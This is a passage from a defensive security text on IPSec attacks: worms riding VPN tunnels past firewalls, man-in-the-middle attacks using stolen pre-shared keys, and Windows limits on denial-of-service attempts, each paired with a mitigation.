IPSec Attacks and Defenses

Although IPSec is used to secure network traffic and hosts, like any protocol it is susceptible to attacks itself. As shown above, IPSec traffic is easy to detect using a network protocol sniffer. An attacker finding an IPSec VPN might be motivated to try to break into the secure tunnel. This is because IPSec is often used to tunnel sensitive, and valuable, traffic past enterprise firewalls. Here are some common IPSec attacks.

Bypassing Firewall Defenses

IPSec VPNs are often terminated internally, past firewall and antivirus defenses. A compromised external host can be infected by a worm or virus, or exploited by a malicious hacker, who then uses the IPSec connection to compromise the more valuable target network. IPSec tunnels, and VPNs in general, frustrate firewalls and perimeter defense tools because they can make it impossible to inspect the payload for maliciousness.

These days, most of the popular Internet worms start out infecting offsite computers, laptops, and VPN computers. When the infected remote user connects into their parent's enterprise network, the VPN often lets the worm get past the perimeter defenses. If possible, terminate all external IPSec VPNs on a filtered segment which can apply normal defenses such as antivirus scanning and firewalling.

Trusted Man-in-the-Middle Attack

If attackers can learn the IPSec secret keys, they can perform a trusted man-in-the-middle (MitM) attack. To prevent these types of attacks, don't use PSK authentication except on hosts not connected to the production network. If you use PSK for limited testing of new IPSec tunnels, be sure to change it to Kerberos or certificate authentication before forgetting. There are even open-source tools, such as Ike-scan (www.nta-monitor.com/ike-scan) that can be used to brute-force and dictionary-attack PSK keys.

Denial-of-Service Attacks

Windows can minimize IPSec denial-of-service attacks, which attempt to overwhelm an endpoint using a large number of fraudulent SA connections. Per Microsoft, if Main mode is established, IKE will limit all current Main mode SAs to five per IP address/port pairs. If Main mode has not been established, IKE limits new Main mode SAs to 35 per IP address. If that limit is reached, IPSec will drop new connection attempts from the involved node until one of its current SAs has been dropped.